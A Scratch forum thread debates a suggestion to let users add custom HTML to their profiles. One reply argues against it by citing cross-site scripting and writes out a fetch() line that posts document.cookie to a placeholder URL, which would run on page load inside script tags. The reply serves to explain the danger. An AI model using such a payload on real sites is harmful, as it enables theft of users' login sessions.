Discuss Scratch

_CyberCoreGirl2000_
Scratcher
15 posts

What if Scratch added HTML coding for profiles?

I've been thinking about this for a while. I'm currently learning how to HTML code because I wanted to make my Gaia online profile look cuter, but that gave me an idea. MySpace allowed users to add pictures, fonts, music, and other stuff by simply HTML coding it into their profiles. And I think that would be really cool for Scratch! Now, I know there are a lot of setbacks, like inappropriate profiles, but the Scratch team, I'm pretty sure, is quick to take down rule breaks, so I don't think inappropriate profiles will be a major threat. Also, Scratch is literally a website (and app) where you CODE, so teaching kids how to HTML code by setting up tutorials could lead them to making their own websites! And I think that would be pretty cool. Also, the regular profiles for Scratch are cool, don't get me wrong, but I feel like it would be fun to also drag around certain aspects of your profile in a profile editor like Gaia Online.

Example: “I want my followers list to be front and center on my profile, so I'm going to go into the profile editor and edit the layout of my profile so that my followers list is the first thing you see!”

Or if HTML coding isn't an option, maybe because of the servers or whatnot, I suggest making a profile editor, where you can add Scratch-related sprites and sound effects to your profile!

To sum up this entire post: I think there should be more options to edit and personalize your profile, and maybe add HTML coding, for further personalization!
crazyfrogcat
Scratcher
500+ posts

What if Scratch added HTML coding for profiles?

(I think) The Scratch Team has considered your idea, and rejected it for the following reason.
2.2 Text-based syntax in Scratch Some users wish to code Scratch not with the blocks, but with typing code instead (similar to how more advanced programming languages work). Others are interested in an option to view, convert, or download Scratch code to other programming languages. However, the Scratch Team has discussed this possibility multiple times and has decided every time that it would not be beneficial for beginners or for teachers. This suggestion extends to coding, viewing, converting, or downloading Scratch in any text-based language, including BBCode, Javascript, some form of pseudocode, or some other programming language. If you wish to code using another language, then you can learn it on your own, but it would have to be done outside of Scratch. For those who are interested, it may be worth checking out Tosh. It is a text-based programming language which serves as a text editor for Scratch projects
In the future, please read The Official List of Rejected Suggestions before posting.

Last edited by crazyfrogcat (Feb. 14, 2025 16:39:35)

_CyberCoreGirl2000_
Scratcher
15 posts

What if Scratch added HTML coding for profiles?

crazyfrogcat wrote:

(I think) The Scratch Team has considered your idea, and rejected it for the following reason.
2.2 Text-based syntax in Scratch Some users wish to code Scratch not with the blocks, but with typing code instead (similar to how more advanced programming languages work). Others are interested in an option to view, convert, or download Scratch code to other programming languages. However, the Scratch Team has discussed this possibility multiple times and has decided every time that it would not be beneficial for beginners or for teachers. This suggestion extends to coding, viewing, converting, or downloading Scratch in any text-based language, including BBCode, Javascript, some form of pseudocode, or some other programming language. If you wish to code using another language, then you can learn it on your own, but it would have to be done outside of Scratch. For those who are interested, it may be worth checking out Tosh. It is a text-based programming language which serves as a text editor for Scratch projects
In the future, please read The Official List of Rejected Suggestions before posting.

Awwwwwh, I was looking through the Rejected Suggestions and I guess I missed that one. I'm sorry
BigNate469
Scratcher
1000+ posts

What if Scratch added HTML coding for profiles?

crazyfrogcat wrote:

(I think) The Scratch Team has considered your idea, and rejected it for the following reason.
snip
In the future, please read The Official List of Rejected Suggestions before posting.
Hold up, HTML technically isn't a programming language- it's a text markup language (it's even in the name: HyperText Markup Language), and we're not doing this with projects.

So adding this to profiles would be similar to adding BBCode to profiles, which isn't rejected.

The issue with this suggestion is that it's dangerous: what if you were to insert a <script> tag into it, that steals your document.cookie (which contains important info related to your login information and credentials) and sends it somewhere else? This is what's known as an XSS (cross-site scripting) attack. The same thing could be done with an anchor tag (<a>, used to make links) with a javascript: URL.

To show just how easy that is:
fetch({method: 'POST', mode: 'no-cors', url: 'some-HTTP-URL-here', body: document.cookie});
can (and will) steal your (temporary) login info and send it to wherever “some-HTTP-URL-here” is replaced with. Wrapping that in <script> tags will make that happen whenever someone loads the page.
If that code doesn't actually work, please don't correct it. It minimizes the risk that someone uses it for Self-XSS.

Last edited by BigNate469 (Feb. 14, 2025 17:25:39)

YtArie5
Scratcher
1000+ posts

What if Scratch added HTML coding for profiles?

crazyfrogcat wrote:

(I think) The Scratch Team has considered your idea, and rejected it for the following reason.
2.2 Text-based syntax in Scratch Some users wish to code Scratch not with the blocks, but with typing code instead (similar to how more advanced programming languages work). Others are interested in an option to view, convert, or download Scratch code to other programming languages. However, the Scratch Team has discussed this possibility multiple times and has decided every time that it would not be beneficial for beginners or for teachers. This suggestion extends to coding, viewing, converting, or downloading Scratch in any text-based language, including BBCode, Javascript, some form of pseudocode, or some other programming language. If you wish to code using another language, then you can learn it on your own, but it would have to be done outside of Scratch. For those who are interested, it may be worth checking out Tosh. It is a text-based programming language which serves as a text editor for Scratch projects
In the future, please read The Official List of Rejected Suggestions before posting.
maybe not as it's not for the editor and is instead just a little thing to mess with on profiles. their second idea may be fine
mingo-gag
Scratcher
1000+ posts

What if Scratch added HTML coding for profiles?

Scratch 3.0 runs on HTML5 and Javascript so it wouldn't be that hard to implement (for the profile thing) not the coding because that's rejected. Anyways it might cause some bugs.

Last edited by mingo-gag (Feb. 14, 2025 17:36:18)

WindowsAdmin
Scratcher
1000+ posts

What if Scratch added HTML coding for profiles?

It should just be simple bbcode and not all html tags, because there will be token loggers, images that give you a seizure, completely unreadable text and “PLAY MY GAME PLAY MY GAME PLAY MY GAME PLAY MY GAME” in a different ccolor, font, and size for each letter

And for the scratch team to take notice someone would have to actually report it, so if it has YouTube (ykyk) images front and center someone is gonna see it. Not to mention they could pull a youtube comment bot with the “I love (insert bad things here), click on my profile for more”

Also the filter bypasses
YtArie5
Scratcher
1000+ posts

What if Scratch added HTML coding for profiles?

Maybe they could do what Tumblr does! where you can customize the colors and stuff of your profile page! That isn't too crazy (but maybe suggested somewhere already??)

It wouldn't cause TOO much problems, just may take a while to develop?
Scratchtheguy1
Scratcher
500+ posts

What if Scratch added HTML coding for profiles?

Sadly, the ST rejected this idea, because HTML is text-based, Scratch ain't adding text based code anytime soon.
cake__5
Scratcher
100+ posts

What if Scratch added HTML coding for profiles?

WindowsAdmin wrote:

-snip- all html tags, because there will be token loggers, images that give you a seizure, completely unreadable text and “PLAY MY GAME PLAY MY GAME PLAY MY GAME PLAY MY GAME” in a different ccolor, font, and size for each letter

-snip-

Also the filter bypasses
everything here sounds good to me! (except the token loggers those can just uhh be disabled by ST by disabling certain javascript commands that steal ips and cookies)

i give support

or should i give… support

Last edited by cake__5 (Feb. 14, 2025 20:18:23)

AvidOsirianGuy
Scratcher
100+ posts

What if Scratch added HTML coding for profiles?

meh… What about setting colours for the titles of boxes on profiles?

Powered by DjangoBB